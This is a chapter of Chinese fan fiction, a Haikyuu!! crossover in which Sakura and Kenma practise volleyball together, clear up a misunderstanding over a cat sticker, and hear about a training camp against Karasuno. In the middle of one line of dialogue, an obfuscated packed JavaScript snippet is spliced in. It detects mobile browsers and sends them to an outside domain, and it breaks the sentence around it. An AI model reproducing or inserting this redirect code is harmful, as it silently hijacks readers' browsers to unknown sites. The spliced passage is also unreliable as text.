第一次下载这个软件，樱遥用得不太顺手，或者说，他其实什么软件都用不习惯，连用滑动屏幕都只用一根食指。 就在樱遥犹豫着要选老虎还是狮子的时候，他的手指不知道不小心点到了什么。 眼看空空荡荡的消息栏里出现了一只睁大眼睛的萌萌奶牛猫，樱遥顿时手忙脚乱，差点像炒菜颠锅一样把手机给丢了。 “啊啊啊能撤回吗？我怎么可能发这种可爱的表情啊！” 但是还没等他找到撤回的地方，聊天框上方就出现了“对方正在输入”的字样。 ……对面已经看到了。 樱遥捧着手机石化了。 他捏紧手机有些紧张地等待对面的回复，可是“对方正在输入”持续了很久很久，还时不时停顿一下，樱遥都没等到对方发出的消息。 是不知道要怎么回复吗？ 那刚好了，他也不知道要怎么解释。 樱遥选择破罐子破摔，干脆把手机丢开，把脑袋埋进被子里，似乎这样就不用看见消息了。 哦，睡觉之前他还没忘拖着自己的被褥挪回窗口—— 他可不想再体验一次快要迟到的感觉了。 …… 阳光照到了眼皮上。 樱遥摸索着手机，拿起来看了眼时间，想起来今天是周末。 周末也不能休息，排球部安排了一整天的训练。 樱遥卷着被子打了个滚，舒展了一下身子，才踢开被子爬起来洗漱，冲了杯牛奶叼了块吐司出门。 今天天气很好，樱遥还遇见了那只大橘，和它对骂几句，才溜溜达达来到学校体育馆。 结果一进门，樱遥就被黑尾铁朗抓了过去，一起被抓过去的人还有孤爪研磨。 仗着身高提溜起来，一手一个非常轻松。 黑尾铁朗龇着牙，笑眯眯道：“来来来，刚好你们都到了，今天你们就好好练练配合吧。” 樱遥和孤爪研磨对视一眼，不约而同地移开视线。 孤爪研磨：阴森森的奶牛猫还在看我……他一定对我有意见。 樱遥：不小心发了可爱的表情包，他一定觉得我很莫名其妙。 两个人被摁着一起训练，一开始都有点拘谨，就是机械性地重复着抛球——扣球的步骤，基本没有语言上的交流，气氛僵硬到夜久卫辅都有些看不下去了。 他抱着球走到黑尾铁朗旁边，面露担忧：“真的没问题吗……” 感觉两个孩子都不是擅长交朋友的类型啊，要是列夫过来说不定还能用他那极度的自信和开朗破一下冰…… 黑尾铁朗双手叉腰，自信满满地说：“没事的啦，体育运动最容易拉近关系了！” 虽然两人都没有说话，但排球这种团体运动本身就是一种交流。 排球落地的声音在空旷的球馆中回荡，每当樱遥扣下一球，黑尾铁朗就会像个气氛组一样很浮夸地鼓掌：“不错不错，这球不错啊！你们两个其实配合得很好嘛！” 如果不小心配合失败了，他又会笑嘻嘻地说：“没事啦没事，下一球就成功了！” 一球，又一球。 每扣下一球，樱遥都能感受到排球位置变得更舒服了。 和其他人抛的球不一样……布丁头学长好像在根据自己的习惯调整托球的角度。 而自己的起跳的动作好像也变得更流畅了，就好像他已经知道排球一定会送到自己面前，送到这个位置一样。 樱遥怔怔地看着自己的手，发麻发烫的手心提醒着他扣下这一球有多畅快。 他看向孤爪研磨，发现那双金色的眼睛也正看着自己。 樱遥已经记不清自己有多久没有向他人提出要求了，反正最后也不会得到回应。 但是现在，他看着这双眼睛，却鬼使神差地问：“可以再高一点吗？” 因为他感觉这还没到自己的极限。 脱口而出后，樱遥才反应过来自己说了什么，尴尬道：“我、你当我没说就好了！” 孤爪研磨却认真点了头：“好，我也觉得你还可以跳得更高。” 面对这么直白的信任，樱遥的耳根瞬间红了。他深深吸了一口气，后退两步准备继续扣球。 本来他只是突发奇想，结果下一球真的成功了。 这种突然间得到突破的感觉，真的能给双方带来极大的成就感。 樱遥看着自己的手心，忍不住说：“再试试快一点的球吧。” 孤爪研磨仍然是那句话：“好。” 一球，又一球，两个人身上都冒出了薄汗，额前的头发也湿了一缕，但他们的眼睛却显得神采奕奕，话也渐渐多了起来。 眼看强制训练有了效果，黑尾铁朗做了个暂停的手势，让他们先去休息一会儿。 随后他就递给他们两瓶水，笑眯眯地推着两人的后背，让他们坐在一起。 樱遥好像有点感受到他的意图了，坐下去的时候脸颊爆红，根本不敢看孤爪研磨的眼睛。 孤爪研磨也没有主动看他，喝了几口水，就从包里拿出了游戏里，哒哒哒地开始操作。 樱遥一开始是想装作不在意的，可是看着那块小小的屏幕上有个挥舞着大剑的像素小人，还是忍不住问： “这是什么？” 孤爪研磨埋头操作：“游戏。” 樱遥疑惑：“训练的时候还可以玩这个吗？” 孤爪研磨低声说：“突然有了灵感。只玩一小会，不要紧的。” 樱遥：“哦，好像挺有意思的。” 孤爪研磨：“那下次可以一起玩。” 樱遥：“好啊。” 干巴巴的对话结束了，气氛又陷入沉默。 两个人的视线不小心撞上了，随后不约而同地收了回去。 又同时抬头，同时收回视线。 最后，又一不小心同时开口：“昨天……我不是有意的。” 听得到声音重叠，两个人都愣了一下。 孤爪研磨低头看着游戏机：“昨天我只是觉得看你拦网很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142334|180329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩，不是对你有意见。” 樱遥则捏着水瓶：“昨晚我只是想跟你聊聊天，那个表情是我手误了。” 孤爪研磨默默松了口气：“我还以为你生气了呢。” 樱遥震惊：“什么？那只猫不是卖萌的意思吗？” 怎么想都不是卖萌吧！虽然奶牛猫确实很萌…… 孤爪研磨盯着樱遥几秒，突然笑起来：“你真有意思，让人搞不太懂。” 像是游戏里的那个勇者，明明数值写得那么清楚，他还是搞不懂。 樱遥不知道孤爪研磨为什么这么说，不过看见他笑了，忽然感受到一种奇妙的气氛在两人之间流动。 就像是列夫说要和他做朋友那天的气氛一样，但没有那么直白，只是轻缓的、含蓄的…… 樱遥对这种气氛非常敏感，手指都紧张地捏了起来，从脸颊到耳根，也悄悄红了一片。 “还、还好吧，你也挺厉害的，我是说托球这方面……” 看见这其乐融融的一幕，不远处的夜久卫辅感动得擦了擦眼角：“研磨和樱遥终于要成为好朋友了吗。” 黑尾铁朗也满意道：“不枉我制造了这么多机会，吾心甚慰啊。” 旁观的海信行忍不住说：“夜久和黑尾……你们有点像那个。” 黑尾铁朗疑惑：“哪个？” 海信行举例：“就是高高兴兴捡了只小猫回家，于是想方设法让新住民和原住民交朋友的铲屎官。” 夜久卫辅摊手：“没办法啊，他们两个都需要入室抢劫般的友情，你看列夫我就完全不用管他……” 此时此刻正巧踏入体育馆的灰羽列夫：“什么什么？我好像听见了我的名字。” “啊，入室抢劫的劫匪来了！”夜久卫辅一秒变脸，“列夫你又迟到！都说了一年级的部员要自觉早点到了！” 灰羽列夫大叫：“只是去救了一只大橘猫啦，还有为什么我突然变成劫匪了啊？！” …… 排球部的训练似乎变得越来越有意思了。 樱遥有时候也会有点迷茫，明明自己最开始的目标只是打败山本猛虎而已，为什么现在他开始做这些无意义的事情了呢？ 他找不到答案。 那只能在自己找到答案之前，先变得更强了。 在四月中旬的一个傍晚，猫又教练突然把大家叫到一起，笑眯眯地宣布： “二年级和三年级的部员应该都知道吧，每年五月黄金周，我们都会组织一场为期3天的合宿集训，和其他学校一起打交流赛。” 直井学向新部员们解释：“黄金周集训就是为了备战6月份的IH县内预选赛而举办的多校联合集训啦，这个时候各校的队伍配置已经基本成型了，想要将队伍打磨得更加成熟，和外校的交流赛、训练赛就是最好的选择。” 猫又教练继续说：“不过今年有点特殊，除了前三天的交流赛，我们第四天要和一个好久不见的老朋友打比赛。” 音驹众人“诶——”了一声。 猫又教练：“没错，就是你们想的那个——” 黑尾铁朗举手：“是乌野吗？” 山本猛虎有些兴奋：“噢噢我知道了！这次要来‘垃圾场决战’了吗！” 灰羽列夫也跟着叫：“哦哦哦——！是这个！” 眼看在场的部员都很重视这场决战，樱遥有些疑惑：“垃圾场决战？那是什么？要打架吗？” 灰羽列夫乐呵呵地笑：“不知道啊，就是感觉有点好玩。” 樱遥：“……那你跟着叫什么啦！” 其实听到这个词的时候，樱遥的脑海中已经出现了两拨人扛着武器聚集在垃圾场干架的画面了。 听他们描述，应该……就等于去挑战别的帮派势力吧？ 而且“乌野”这个名字一听就是大反派。 总感觉会很有意思。 樱遥翘起唇角，灰金双色的眼睛亮闪闪的，胸腔里忽然涌现出无限激情。 好久没打架了，他想打架！！